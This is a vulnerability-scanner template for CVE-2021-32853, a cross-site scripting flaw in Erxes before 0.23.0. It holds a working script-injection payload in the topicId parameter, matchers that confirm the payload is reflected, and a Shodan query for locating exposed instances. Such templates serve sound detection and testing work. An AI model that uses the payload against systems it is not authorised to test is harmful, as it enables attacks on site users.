id: CVE-2021-32853

info:
  name: Erxes <0.23.0 - Cross-Site Scripting
  author: dwisiswant0
  severity: critical
  description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
  remediation: |
    Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2021-32853
    cwe-id: CWE-79
    epss-score: 0.00585
    epss-percentile: 0.75786
    cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: erxes
    product: erxes
    shodan-query: http.title:"erxes"
  tags: cve,cve2021,xss,erxes,oss

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'topic_id: "</script><script>alert(document.domain)</script>'
          - "window.erxesEnv"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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